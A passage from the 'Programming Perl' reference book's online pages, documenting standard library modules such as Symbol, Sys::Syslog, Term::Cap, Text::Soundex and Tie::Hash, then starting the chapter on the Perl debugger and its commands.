The no strict 'vars' statement negates any preceding use strict vars for the remainder of the innermost enclosing block. Likewise, no strict 'refs' negates any preceding invocation of use strict refs, and no strict 'subs' negates use strict 'subs'.

The arguments to use strict are sometimes given as barewords - that is, without surrounding quotes. Be aware, however, that the following sequence will not work:

use strict;      # or just:  use strict subs;
...
no strict subs;  # WRONG!  Should be:  no strict 'subs';
...

The problem here is that giving subs as a bareword is no longer allowed after the use strict statement. :-)

Previous: 7.2.58 Socket - Load the C socket.h Defines and Structure Manipulators | Programming Perl | Next: 7.2.60 subs - Predeclare Subroutine Names
7.2.58 Socket - Load the C socket.h Defines and Structure Manipulators | Book Index | 7.2.60 subs - Predeclare Subroutine Names


[Chapter 7] 7.2.60 subs - Predeclare Subroutine Names

Programming PerlSearch this book

7.2.60 subs - Predeclare Subroutine Names

use subs qw(sub1 sub2 sub3);
sub1 $arg1, $arg2;

This predeclares the subroutines whose names are in the list, allowing you to use them without parentheses even before they're defined. It has the additional benefit of allowing you to override built-in functions, since you may only override built-ins via an import, and this pragma does a pseudo-import.

See also the vars module.

Previous: 7.2.59 strict - Restrict Unsafe Constructs | Programming Perl | Next: 7.2.61 Symbol - Generate Anonymous Globs; Qualify Variable Names
7.2.59 strict - Restrict Unsafe Constructs | Book Index | 7.2.61 Symbol - Generate Anonymous Globs; Qualify Variable Names


[Chapter 7] 7.2.61 Symbol - Generate Anonymous Globs; Qualify Variable Names

Programming PerlSearch this book

7.2.61 Symbol - Generate Anonymous Globs; Qualify Variable Names

use Symbol;

$sym = gensym;
open($sym, "filename");
$_ = <$sym>;

ungensym $sym;      # no effect

print qualify("x");              # "main::x"
print qualify("x", "FOO");       # "FOO::x"
print qualify("BAR::x");         # "BAR::x"
print qualify("BAR::x", "FOO");  # "BAR::x"
print qualify("STDOUT", "FOO");  # "main::STDOUT" (global)
print qualify(\*x);              # \*x--for example: GLOB(0x99530)
print qualify(\*x, "FOO");       # \*x--for example: GLOB(0x99530)

gensym() creates an anonymous glob and returns a reference to it. Such a glob reference can be used as a filehandle or directory handle.

For backward compatibility with older implementations that didn't support anonymous globs, ungensym() is also provided. But it doesn't do anything.

qualify() turns unqualified symbol names into qualified variable names (for example, myvar becomes MyPackage::myvar). If it is given a second parameter, qualify() uses it as the default package; otherwise, it uses the package of its caller. Regardless, global variable names (for example, STDOUT, %ENV, %SIG) are always qualified with main::.

Qualification applies only to symbol names (strings). References are left unchanged under the assumption that they are glob references, which are qualified by their nature.

Previous: 7.2.60 subs - Predeclare Subroutine Names | Programming Perl | Next: 7.2.62 Sys::Hostname - Try Every Conceivable Way to Get Hostname
7.2.60 subs - Predeclare Subroutine Names | Book Index | 7.2.62 Sys::Hostname - Try Every Conceivable Way to Get Hostname


[Chapter 7] 7.2.62 Sys::Hostname - Try Every Conceivable Way to Get Hostname

Programming PerlSearch this book

7.2.62 Sys::Hostname - Try Every Conceivable Way to Get Hostname

use Sys::Hostname;
$host = hostname();

Attempts several methods of getting the system hostname and then caches the result. It tries syscall(SYS_gethostname), `hostname`, `uname -n`, and the file /com/host. If all that fails, it croak()s.

All nulls, returns, and newlines are removed from the result.

Previous: 7.2.61 Symbol - Generate Anonymous Globs; Qualify Variable Names | Programming Perl | Next: 7.2.63 Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
7.2.61 Symbol - Generate Anonymous Globs; Qualify Variable Names | Book Index | 7.2.63 Sys::Syslog - Perl Interface to UNIX syslog(3) Calls


[Chapter 7] 7.2.63 Sys::Syslog - Perl Interface to UNIX syslog(3) Calls

Programming PerlSearch this book

7.2.63 Sys::Syslog - Perl Interface to UNIX syslog(3) Calls

use Sys::Syslog;

openlog $ident, $logopt, $facility;
syslog $priority, $mask, $format, @args;
$oldmask = setlogmask $mask_priority;
closelog;

Sys::Syslog is an interface to the UNIX syslog(3) program. Call syslog() with a string priority and a list of printf args just like syslog(3). Sys::Syslog needs syslog.ph, which must be created with h2ph by your system administrator.

Sys::Syslog provides these functions:

openlog $ident, $logopt, $facility

$ident is prepended to every message. $logopt contains one or more of the words pid, ndelay, cons, nowait. $facility specifies the part of the system making the log entry.

syslog $priority, $mask, $format, @args

If $priority and $mask permit, logs a message formed as if by sprintf($format, @args), with the addition that %m is replaced with "$!" (the latest error message).

setlogmask $mask_priority

Sets log mask to $mask_priority and returns the old mask.

closelog

Closes the log file.

7.2.63.1 Examples

openlog($program, 'cons, pid', 'user');
syslog('info', 'this is another test');
syslog('mail|warning', 'this is a better test: %d', time);
closelog();

syslog('debug', 'this is the last test');
openlog("$program $$", 'ndelay', 'user');
syslog('notice', 'fooprogram: this is really done');

$! = 55;
syslog('info', 'problem was %m'); # %m == $! in syslog(3)

Previous: 7.2.62 Sys::Hostname - Try Every Conceivable Way to Get Hostname | Programming Perl | Next: 7.2.64 Term::Cap - Terminal Capabilities Interface
7.2.62 Sys::Hostname - Try Every Conceivable Way to Get Hostname | Book Index | 7.2.64 Term::Cap - Terminal Capabilities Interface


[Chapter 7] 7.2.64 Term::Cap - Terminal Capabilities Interface

Programming PerlSearch this book

7.2.64 Term::Cap - Terminal Capabilities Interface

require Term::Cap;

$terminal = Tgetent Term::Cap { TERM => undef, OSPEED => $ospeed };
$terminal->Trequire(qw/ce ku kd/);
$terminal->Tgoto('cm', $col, $row, $FH);
$terminal->Tputs('dl', $count, $FH);

These are low-level functions to extract and use capabilities from a terminal capability (termcap) database. For general information about the use of this database, see the termcap(5) manpage.

The "new" function of Term::Cap is Tgetent(), which extracts the termcap entry for the specified terminal type and returns a reference to a terminal object. If the value associated with the TERM key in the Tgetent() argument list is false or undefined, then it defaults to the environment variable TERM.

Tgetent() looks in the environment for a TERMCAP variable. If it finds one, and if the value does not begin with a slash and looks like a termcap entry in which the terminal type name is the same as the environment string TERM, then the TERMCAP string is used directly as the termcap entry and there is no search for an entry in a termcap file somewhere.

Otherwise, Tgetent() looks in a sequence of files for the termcap entry. The sequence consists of the filename in TERMCAP, if any, followed by either the files listed in the TERMPATH environment variable, if any, or otherwise the files $HOME/.termcap, /etc/termcap, and /usr/share/misc/termcap, in that order. (Filenames in TERMPATH may be separated by either a colon or a space.) Whenever multiple files are searched and a tc field occurs in the requested entry, the entry named in the tc field must be found in the same file or one of the succeeding files. If there is a tc field in the TERMCAP environment variable string, Tgetent() continues searching as indicated above.

OSPEED is the terminal output bit rate (often mistakenly called the baud rate). OSPEED can be specified as either a POSIX termios/SYSV termio speed (where 9600 equals 9600) or an old BSD-style speed (where 13 equals 9600). See the next section, "Getting Terminal Output Speed", for code illustrating how to obtain the output speed.

Tgetent() returns a reference to a blessed object ($terminal in the examples above). The actual termcap entry is available as $terminal->{TERMCAP}. Failure to find an appropriate termcap entry results in a call to Carp::croak().

Once you have invoked Tgetent(), you can manage a terminal by sending control strings to it with Tgoto() and Tputs(). You can also test for the existence of particular terminal capabilities with Trequire().

Trequire() checks to see whether the named capabilities have been specified in the terminal's termcap entry. For example, this line:

$terminal->Trequire(qw/ce ku kd/);

checks whether the ce (clear to end of line), ku (keypad up-arrow), and kd (keypad down-arrow) capabilities have been defined. Any undefined capabilities will result in a listing of those capabilities and a call to Carp::croak().

Tgoto() produces a control string to move the cursor relative to the screen. For example, to move the cursor to the fifth line and forty-fifth column on the screen, you can say:

$row = 5; $col = 45;
$terminal->Tgoto('cm', $row, $col, STDOUT);

The first argument in this call must always be cm. If a file handle is given as the final argument, then Tgoto() sends the appropriate control string to that handle. With or without a handle, the routine returns the control string, so you could achieve the same effect this way:

$str = $terminal->Tgoto('cm', $row, $col);
print STDOUT $str;

Tgoto() performs the necessary % interpolation on the control strings. (See the termcap(5) manpage for details.)

The Tputs() routine allows you to exercise other terminal capabilities. For example, the following code deletes one line at the cursor's present position, and then turns on the bold text attribute:

$count = 1;
$terminal->Tputs('dl', $count, $FILEHANDLE);  # delete one line
$terminal->Tputs('md', $count, $FILEHANDLE);  # turn on bold attribute

Again, Tputs() returns the terminal control string, and the file handle can be omitted. The $count for such calls should normally be 1, unless padding is required. (Padding involves the output of "no-op" characters in order to effect a delay required by the terminal device. It is most commonly required for hardcopy devices.) A count greater than 1 is taken to specify the amount of padding. See the termcap(5) manpage for more about padding.

Tputs() does not perform % interpolation. This means that the following will not work:

$terminal->Tputs('DC', 1, $FILEHANDLE);  # delete one character (WRONG!)

If the terminal control string requires numeric parameters, then you must do the interpolation yourself:

$str = $terminal->Tputs('DC', 1);
$str =~ s/%d/7/;
print STDOUT $str;        # delete seven characters

The output strings for Tputs() are cached for counts of 1. Tgoto() does not cache. $terminal->{_xx} is the raw termcap data and $terminal->{xx} is the cached version (where xx is the two-character terminal capability code).

7.2.64.1 Getting terminal output speed

You can use the POSIX module to get your terminal's output speed for use in the Tgetent() call:

require POSIX;
my $termios = new POSIX::Termios;
$termios->getattr;
my $ospeed = $termios->getospeed;

The method using ioctl(2) works like this:

require 'ioctl.pl';
ioctl(TTY, $TIOCGETP, $sgtty);
($ispeed, $ospeed) = unpack('cc', $sgtty);

Previous: 7.2.63 Sys::Syslog - Perl Interface to UNIX syslog(3) Calls | Programming Perl | Next: 7.2.65 Term::Complete - Word Completion Module
7.2.63 Sys::Syslog - Perl Interface to UNIX syslog(3) Calls | Book Index | 7.2.65 Term::Complete - Word Completion Module


[Chapter 7] 7.2.65 Term::Complete - Word Completion Module

Programming PerlSearch this book

7.2.65 Term::Complete - Word Completion Module

use Term::Complete;

$input = Complete('prompt_string', \@completion_list);
$input = Complete('prompt_string', @completion_list);

The Complete() routine sends the indicated prompt string to the currently selected filehandle, reads the user's response, and places the response in $input. What the user types is read one character at a time, and certain characters result in special processing as follows:

TAB

The tab character causes Complete() to match what the user has typed so far against the list of strings in @completion_list. If the user's partial input uniquely matches one of these strings, then the rest of the matched string is output. However, input is still not finished until the user presses the return key. If the user's partial input does not uniquely match one string in @completion_list when the tab character is pressed, then the partial input remains unchanged and the bell character is output.

CTRL-D

If the user types CTRL-D, the current matches between the user's partial input string and the completion list are printed out. If the partial input string is null, then the entire completion list is printed. In any case, the prompt string is then reissued, along with the partial input. You can substitute a different character for CTRL-D by defining $Term::Complete::complete. For example:

$Term::Complete::complete = "\001";  # use ctrl-a instead of ctrl-d
CTRL-U

Typing CTRL-U erases any partial input. You can substitute a different character for CTRL-U by defining $Term::Complete::kill.

DEL, BS

The delete and backspace characters both erase one character from the partial input string. You can redefine them by assigning a different character value to $Term::Complete::erase1 and $Term::Complete::erase2.

The user is not prevented from providing input that differs from all strings in the completion list, or from adding to input that has been completed from the list. The final input (determined when the user presses the return key) is the string returned by Complete().

The TTY driver is put into raw mode using the system command stty raw -echo and restored using stty -raw echo. When Complete() is called multiple times, it offers the user's immediately previous response as the default response to each prompt.

Previous: 7.2.64 Term::Cap - Terminal Capabilities Interface | Programming Perl | Next: 7.2.66 Test::Harness - Run Perl Standard Test Scripts with Statistics
7.2.64 Term::Cap - Terminal Capabilities Interface | Book Index | 7.2.66 Test::Harness - Run Perl Standard Test Scripts with Statistics


[Chapter 7] 7.2.66 Test::Harness - Run Perl Standard Test Scripts with Statistics

Programming PerlSearch this book

7.2.66 Test::Harness - Run Perl Standard Test Scripts with Statistics

use Test::Harness;
runtests(@tests);

This module is used by MakeMaker. If you're building a Perl extension and if you have test scripts with filenames matching t/*.t in the extension's subdirectory, then you can run those tests by executing the shell command, make test.

runtests(@tests) runs all test scripts named as arguments and checks standard output for the expected "ok n" strings. (Standard Perl test scripts print "ok n" for each single test, where n is an integer incremented by one each time around.) After all tests have been performed, runtests() prints some performance statistics that are computed by the Benchmark module.

runtests() is exported by Test::Harness by default.

7.2.66.1 The test script output

The first line output by a standard test script should be 1..m with m being the number of tests that the test script attempts to run. Any output from the test script to standard error is ignored and bypassed, and thus will be seen by the user. Lines written to standard output that look like Perl comments (starting with /^\s*\#/) are discarded. Lines containing /^(not\s+)?ok\b/ are interpreted as feedback for runtests().

The global variable $Test::Harness::verbose is exportable and can be used to let runtests() display the standard output of the script without altering the behavior otherwise.

It is tolerated if the script omits test numbers after ok. In this case Test::Harness maintains its own counter. So the following script output:

1..6
not ok
ok
not ok
ok
ok
not ok

will generate:

FAILED tests 1, 3, 6
Failed 3/6 tests, 50.00% okay

7.2.66.2 Diagnostics

All tests successful.\nFiles=%d, Tests=%d, %s

If all tests are successful, some statistics about the performance are printed.

FAILED tests %s\n\tFailed %d/%d tests, %.2f%% okay.

For any single script that has failing subtests, these statistics are printed.

Test returned status %d (wstat %d)

Scripts that return a non-zero exit status, both $?>>8 and $?, are printed in a message similar to the above.

Failed 1 test, %.2f%% okay.

Failed %d/%d tests, %.2f%% okay.

If not all tests were successful, the script dies with one of the above messages.

7.2.66.3 Notes

Test::Harness uses $^X to determine which Perl binary to run the tests with. Test scripts running via the shebang (#!) line may not be portable because $^X is not consistent for shebang scripts across platforms. This is no problem when Test::Harness is run with an absolute path to the Perl binary or when $^X can be found in the path.

Previous: 7.2.65 Term::Complete - Word Completion Module | Programming Perl | Next: 7.2.67 Text::Abbrev - Create an Abbreviation Table from a List
7.2.65 Term::Complete - Word Completion Module | Book Index | 7.2.67 Text::Abbrev - Create an Abbreviation Table from a List


[Chapter 7] 7.2.67 Text::Abbrev - Create an Abbreviation Table from a List

Programming PerlSearch this book

7.2.67 Text::Abbrev - Create an Abbreviation Table from a List

use Text::Abbrev;

%hash = ();
abbrev(*hash, LIST);

The abbrev() routine takes each string in LIST and constructs all unambiguous abbreviations (truncations) of the string with respect to the other strings in LIST. Each such truncation (including the null truncation consisting of the entire string) is used as a key in %hash for which the associated value is the non-truncated string.

So, if good is the only string in LIST beginning with g, the following key/value pairs will be created:

g    => good,
go   => good,
goo  => good,
good => good

If, on the other hand, the string go is also in the list, then good yields these key/value pairs:

goo  => good,
good => good

and go yields only:

go => go

Previous: 7.2.66 Test::Harness - Run Perl Standard Test Scripts with Statistics | Programming Perl | Next: 7.2.68 Text::ParseWords - Parse Text into a List of Tokens
7.2.66 Test::Harness - Run Perl Standard Test Scripts with Statistics | Book Index | 7.2.68 Text::ParseWords - Parse Text into a List of Tokens


[Chapter 7] 7.2.68 Text::ParseWords - Parse Text into a List of Tokens

Programming PerlSearch this book

7.2.68 Text::ParseWords - Parse Text into a List of Tokens

use Text::ParseWords;
@words = quotewords($delim, $keep, @lines);

quotewords() accepts a delimiter (which can be a regular expression) and a list of lines, and then breaks those lines up into a list of delimiter-separated words. It ignores delimiters that appear inside single or double quotes.

The $keep argument is a Boolean flag. If it is false, then quotes are removed from the list of words returned by quotewords(); otherwise, quotes are retained.

The value of $keep also affects the interpretation of backslashes. If $keep is true, then backslashes are fully preserved in the returned list of words. Otherwise, a single backslash disappears and a double backslash is returned as a single backslash. (Be aware, however, that, regardless of the value of $keep, a single backslash occurring within quotes causes a Perl syntax error - presumably a bug.)

Previous: 7.2.67 Text::Abbrev - Create an Abbreviation Table from a List | Programming Perl | Next: 7.2.69 Text::Soundex - The Soundex Algorithm Described by Knuth
7.2.67 Text::Abbrev - Create an Abbreviation Table from a List | Book Index | 7.2.69 Text::Soundex - The Soundex Algorithm Described by Knuth


[Chapter 7] 7.2.69 Text::Soundex - The Soundex Algorithm Described by Knuth

Programming PerlSearch this book

7.2.69 Text::Soundex - The Soundex Algorithm Described by Knuth

use Text::Soundex;

$code = soundex $string;  # get soundex code for a string
@codes = soundex @list;   # get list of codes for list of strings

# set value to be returned for strings without soundex code
$soundex_nocode = 'Z000';

This module implements the soundex algorithm as described by Donald Knuth in Volume 3 of The Art of Computer Programming. The algorithm is intended to hash words (in particular surnames) into a small space using a simple model that approximates the sound of the word when spoken by an English speaker. Each word is reduced to a four-character string, the first character being an uppercase letter and the remaining three being digits.

If there is no soundex code representation for a string, then the value of $soundex_nocode is returned. This variable is initially set to the undefined value, but many people seem to prefer an unlikely value like Z000. (How unlikely this is depends on the data set being dealt with.) Any value can be assigned to $soundex_nocode.

In a scalar context soundex() returns the soundex code of its first argument, and in an array context a list is returned in which each element is the soundex code for the corresponding argument passed to soundex().

For example:

@codes = soundex qw(Mike Stok);

leaves @codes containing ('M200', 'S320').

Here are Knuth's examples of various names and the soundex codes they map to:

Names | Code
Euler, Ellery | E460
Gauss, Ghosh | G200
Hilbert, Heilbronn | H416
Knuth, Kant | K530
Lloyd, Ladd | L300
Lukasiewicz, Lissajous | L222

So we have:

$code = soundex 'Knuth';              # $code contains 'K530'
@list = soundex qw(Lloyd Gauss);      # @list contains 'L300', 'G200'

As the soundex algorithm was originally used a long time ago in the United States, it considers only the English alphabet and pronunciation.

As it is mapping a large space (arbitrary-length strings) onto a small space (single letter plus three digits), no inference can be made about the similarity of two strings that end up with the same soundex code. For example, both Hilbert and Heilbronn end up with a soundex code of H416.

Previous: 7.2.68 Text::ParseWords - Parse Text into a List of Tokens | Programming Perl | Next: 7.2.70 Text::Tabs - Expand and Unexpand Tabs
7.2.68 Text::ParseWords - Parse Text into a List of Tokens | Book Index | 7.2.70 Text::Tabs - Expand and Unexpand Tabs


[Chapter 7] 7.2.70 Text::Tabs - Expand and Unexpand Tabs

Programming PerlSearch this book

7.2.70 Text::Tabs - Expand and Unexpand Tabs

use Text::Tabs;

$tabstop = 8;                            # set tab spacing to 8 (default)
print expand("Hello\tworld");            # convert tabs to spaces in output
print unexpand("Hello,        world");   # convert spaces to tabs in output
$tabstop = 4;                            # set tab spacing to 4
print join("\n", expand(split(/\n/,
                "Hello\tworld, \nit's a nice day.\n")));

This module expands tabs into spaces and "unexpands" spaces into tabs, in the manner of the UNIX expand(1) and unexpand(1) programs. All tabs and spaces - not only leading ones - are subject to being expanded and unexpanded.

Both expand() and unexpand() take as argument an array of strings, which are returned with tabs or spaces transformed. Newlines may not be included in the strings, and should be used to split strings into separate elements before they are passed to expand() and unexpand().

expand(), unexpand(), and $tabstop are imported into your program when you use this module.

Previous: 7.2.69 Text::Soundex - The Soundex Algorithm Described by Knuth | Programming Perl | Next: 7.2.71 Text::Wrap - Wrap Text into a Paragraph
7.2.69 Text::Soundex - The Soundex Algorithm Described by Knuth | Book Index | 7.2.71 Text::Wrap - Wrap Text into a Paragraph


[Chapter 7] 7.2.71 Text::Wrap - Wrap Text into a Paragraph

Programming PerlSearch this book

7.2.71 Text::Wrap - Wrap Text into a Paragraph

use Text::Wrap;

$Text::Wrap::columns = 20; # default is 76
$pre1 = "\t";              # prepend this to first line of paragraph
$pre2 = "";                # prepend this to subsequent lines
print wrap($pre1, $pre2, "Hello, world, it's a nice day, isn't it?");

This module is a simple paragraph formatter that wraps text into a paragraph and indents each line. The single exported function, wrap(), takes three arguments: a string to prepend to the first output line; a string to prepend to each subsequent output line; and the text to be wrapped.

$columns is exported on request.

Previous: 7.2.70 Text::Tabs - Expand and Unexpand Tabs | Programming Perl | Next: 7.2.72 Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
7.2.70 Text::Tabs - Expand and Unexpand Tabs | Book Index | 7.2.72 Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes


[Chapter 7] 7.2.72 Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes

Programming PerlSearch this book

7.2.72 Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes

package NewHash;
require Tie::Hash;

@ISA = (Tie::Hash);

sub DELETE { ... }          # Provides additional method
sub CLEAR { ... }           # Overrides inherited method

package NewStdHash;
require Tie::Hash;

@ISA = (Tie::StdHash);

sub DELETE { ... }

package main;

tie %new_hash, "NewHash";
tie %new_std_hash, "NewStdHash";

This module provides some skeletal methods for hash-tying classes. (See Chapter 5 for a list of the functions required in order to tie a hash to a package.) The basic Tie::Hash package provides a new() method, as well as methods TIEHASH(), EXISTS() and CLEAR(). The Tie::StdHash package provides most methods required for hashes. It inherits from Tie::Hash, and causes tied hashes to behave exactly like standard hashes, allowing for selective overloading of methods. The new() method is provided as grandfathering in case a class forgets to include a TIEHASH() method.

For developers wishing to write their own tied hashes, the required methods are briefly defined below. (Chapter 5 not only documents these methods, but also has sample code.)

TIEHASH ClassName, LIST

The method invoked by the command:

tie %hash, ClassName, LIST

Associates a new hash instance with the specified class. LIST would represent additional arguments (along the lines of AnyDBM_File and compatriots) needed to complete the association.

STORE this, key, value

Store value into key for the tied hash this.

FETCH this, key

Retrieve the value associated with key for the tied hash this.

FIRSTKEY this

Return the key/value pair for the first key in hash this.

NEXTKEY this, lastkey

Return the next key/value pair for the hash.

EXISTS this, key

Verify that key exists with the tied hash this.

DELETE this, key

Delete key from the tied hash this.

CLEAR this

Clear all values from the tied hash this.

Chapter 5 includes a method called DESTROY() as a "necessary" method for tied hashes. However, it is not actually required, and neither Tie::Hash nor Tie::StdHash defines a default for this method.

7.2.72.1 See also

The library modules relating to various DBM-related implementations (DB_File, GDBM_File, NDBM_File, ODBM_File, and SDBM_File) show examples of general tied hashes, as does the Config module. While these modules do not utilize Tie::Hash, they serve as good working examples.

Previous: 7.2.71 Text::Wrap - Wrap Text into a Paragraph | Programming Perl | Next: 7.2.73 Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
7.2.71 Text::Wrap - Wrap Text into a Paragraph | Book Index | 7.2.73 Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars


[Chapter 7] 7.2.73 Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars

Programming PerlSearch this book

7.2.73 Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars

package NewScalar;
require Tie::Scalar;

@ISA = (Tie::Scalar);

sub FETCH { ... }           # Provides additional method
sub TIESCALAR { ... }       # Overrides inherited method

package NewStdScalar;
require Tie::Scalar;

@ISA = (Tie::StdScalar);

sub FETCH { ... }

package main;

tie $new_scalar, "NewScalar";
tie $new_std_scalar, "NewStdScalar";

This module provides some skeletal methods for scalar-tying classes. (See Chapter 5 for a list of the functions required in tying a scalar to a package.) The basic Tie::Scalar package provides a new() method, as well as methods TIESCALAR(), FETCH() and STORE(). The Tie::StdScalar package provides all methods specified in Chapter 5. It inherits from Tie::Scalar and causes scalars tied to it to behave exactly like the built-in scalars, allowing for selective overloading of methods. The new() method is provided as a means of grandfathering for classes that forget to provide their own TIESCALAR() method.

For developers wishing to write their own tied-scalar classes, methods are summarized below. (Chapter 5 not only documents these, but also has sample code.)

TIESCALAR ClassName, LIST

The method invoked by the command:

tie $scalar, ClassName, LIST

Associates a new scalar instance with the specified class. LIST would represent additional arguments (along the lines of the AnyDBM_File library module and associated modules) needed to complete the association.

FETCH this

Retrieve the value of the tied scalar referenced by this.

STORE this, value

Store value in the tied scalar referenced by this.

DESTROY this

Free the storage associated with the tied scalar referenced by this. This is rarely needed, since Perl manages its memory well. But the option exists, should a class wish to perform specific actions upon the destruction of an instance.

7.2.73.1 See also

Chapter 5 has a good example using tied scalars to associate process IDs with priority.

Previous: 7.2.72 Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes | Programming Perl | Next: 7.2.74 Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing
7.2.72 Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes | Book Index | 7.2.74 Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing


[Chapter 7] 7.2.74 Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing

Programming PerlSearch this book

7.2.74 Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing

require Tie::SubstrHash;
tie %myhash, "Tie::SubstrHash", $key_len, $value_len, $table_size;

The Tie::SubstrHash package provides a hash table-like interface to an array of determinate size, with constant key size and record size.

Upon tying a new hash to this package, the developer must specify the size of the keys that will be used, the size of the value fields that the keys will index, and the size of the overall table (in terms of the number of key/value pairs, not hard memory). These values will not change for the duration of the tied hash. The newly allocated hash table may now have data stored and retrieved. Efforts to store more than $table_size elements will result in a fatal error, as will efforts to store a value not exactly $value_len characters in length, or to reference through a key not exactly $key_len characters in length. While these constraints may seem excessive, the result is a hash table using much less internal memory than an equivalent freely allocated hash table.

Because the current implementation uses the table and key sizes for the hashing algorithm, there is no means by which to dynamically change the value of any of the initialization parameters.

Previous: 7.2.73 Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars | Programming Perl | Next: 7.2.75 Time::Local - Efficiently Compute Time from Local and GMT Time
7.2.73 Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars | Book Index | 7.2.75 Time::Local - Efficiently Compute Time from Local and GMT Time


[Chapter 7] 7.2.75 Time::Local - Efficiently Compute Time from Local and GMT Time

Programming PerlSearch this book

7.2.75 Time::Local - Efficiently Compute Time from Local and GMT Time

use Time::Local;

$time = timelocal($sec, $min, $hours, $mday, $mon, $year);
$time = timegm($sec, $min, $hours, $mday, $mon, $year);

These routines take a series of arguments specifying a local (timelocal()) or Greenwich (timegm()) time, and return the number of seconds elapsed between January 1, 1970, and the specified time. The arguments are defined like the corresponding arguments returned by Perl's gmtime and localtime functions.

The routines are very efficient and yet are always guaranteed to agree with the gmtime and localtime functions. That is, if you pass the value returned by time to localtime, and if you then pass the values returned by localtime to timelocal(), the returned value from timelocal() will be the same as the value originally returned from time.

Both routines return -1 if the integer limit is hit. On most machines this applies to dates after January 1, 2038.

Previous: 7.2.74 Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing | Programming Perl | Next: 7.2.76 vars - Predeclare Global Variable Names
7.2.74 Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing | Book Index | 7.2.76 vars - Predeclare Global Variable Names


[Chapter 7] 7.2.76 vars - Predeclare Global Variable Names

Programming PerlSearch this book

7.2.76 vars - Predeclare Global Variable Names

use vars qw($frob @mung %seen);

This module predeclares all variables whose names are in the list, allowing you to use them under use strict, and disabling any typo warnings.

Packages such as the AutoLoader and SelfLoader that delay loading of subroutines within packages can create problems with file-scoped lexicals defined using my. This is because they move the subroutines outside the scope of the lexical variables. While the use vars pragma cannot duplicate the effect of file-scoped lexicals (total transparency outside of the file), it can act as an acceptable substitute by pre-declaring global symbols, ensuring their availability to the routines whose loading was delayed.

See also the subs module.

Previous: 7.2.75 Time::Local - Efficiently Compute Time from Local and GMT Time | Programming Perl | Next: 8. Other Oddments
7.2.75 Time::Local - Efficiently Compute Time from Local and GMT Time | Book Index | 8. Other Oddments


[Chapter 8] Other Oddments

Programming PerlSearch this book
Previous: 7.2 Library Modules Chapter 8 Next: 8.2 Common Goofs for Novices

8. Other Oddments

Contents:
The Perl Debugger
Common Goofs for Novices
Efficiency
Programming with Style
Distribution and Installation
Perl Poetry
History Made Practical

Did you ever have a junk drawer? You know, one of those drawers where you put everything important enough to keep (like the spare key to the back door), but not important enough to have a place of its own (like the back door itself).

Well, this chapter is the junk drawer of the book. We stuffed many important (and a few not-so-important) things in this chapter. Read on.

8.1 The Perl Debugger

First of all, have you tried using the -w switch?

If you invoke Perl with the -d switch, your script runs under the Perl debugger. This works like an interactive Perl environment, prompting for debugger commands that let you examine source code, set breakpoints, dump out your function-call stack, change the values of variables, and so on. Any command not recognized by the debugger[1] is directly executed (eval'd) as Perl code in the current package.[2] This is so wonderfully convenient that you often fire up the debugger all by itself just to test out Perl constructs interactively to see what they do. Here's a common way to get that:

[1] Leading whitespace before a command would cause the debugger to think it's not a command for it, but rather for Perl, so be careful not to do that.

[2] The debugger uses the DB package for its own state information.

perl -d -e 42

In Perl, the debugger is not a separate program as it usually is in a typical programming environment. Instead, the -d flag tells the compiler to insert source information into the parse trees it's about to hand off to the interpreter. That means your code must first compile correctly for the debugger to work on it. Then when the interpreter starts up, it pre-loads a Perl library file containing the debugger itself.

8.1.1 Debugger Commands

The debugger understands the following commands:

h [command]

Prints out a help message.

If you supply another debugger command as an argument to the h command, it prints out the description for just that command. The command "h h" produces a more compact help listing designed to fit on one screen. If the output of the h command (or any command, for that matter) scrolls past your screen, just precede the command with a leading pipe symbol so it's run through your pager:

DB<1> |h
p expr

Same as "print DB::OUT expr" in the current package. In particular, since this is just Perl's own print function, this means that nested data structures and objects are not dumped, unlike with the x command. The DB::OUT handle is opened to /dev/tty (or perhaps an editor window) no matter where standard output may have been redirected to.

x expr

Evals its expression in a list context and dumps out the result in a pretty-printed fashion. Nested data structures are printed out recursively, unlike with the print command above.

V [pkg [vars]]

Display all (or some) variables in package (defaulting to the main package) using a data pretty-printer. (Hashes show their keys and values so you see what's what, control characters are made printable, nested data structures print out in a legible fashion, and so on.) Make sure you type the identifiers without a type specifier such as $ or @, like this:

V DB filename line

In place of a variable name, you can use ~pattern or !pattern to print existing variables whose names either match or don't match the specified regular expression.

X [vars]

Same as V currentpackage [vars].

T

Produce a stack backtrace. See below for details on its output.

s [expr]

Single step. Executes until it reaches the beginning of another statement, descending into subroutine calls. If an expression is supplied that includes function calls, it, too, will be single-stepped.

n

Next. Executes over subroutine calls, until it reaches the beginning of the next statement at this same level.

<CR>

Repeat last n or s command.

c [line]

Continue, optionally inserting a one-time-only breakpoint at the specified line.

l

List next few lines.

l min+incr

List incr+1 lines starting at min.

l min-max

List lines min through max.

l line

List a single line.

l subname

List first few lines from subroutine.

-

List previous few lines.

w [line]

List window (a few lines) around the given line, or the current one if no line is supplied.

.

Return debugger pointer to the last-executed line and print it out.

f filename

Switch to viewing a different file.

/pattern/

Search forward for pattern; final / is optional.

?pattern?

Search backward for pattern; final ? is optional.

L

List all breakpoints and actions for the current file.

S [[!]pattern]

List subroutine names matching (or not matching with "!") pattern. If no pattern is given, all subroutines are listed.

t

Toggle trace mode.

t expr

Trace through execution of expr.

b [line] [condition]

Set a breakpoint at line. If line is omitted, set a breakpoint on the line that is about to be executed. condition, if given, is evaluated each time the statement is reached, and a breakpoint is taken only if condition is true. Breakpoints may only be set on lines that begin an executable statement. Conditions don't use if:

b 237 $x > 30
b 33 /pattern/i

b subname [condition]

Set a (possibly conditional) breakpoint at the first line of the named subroutine.

d [line]

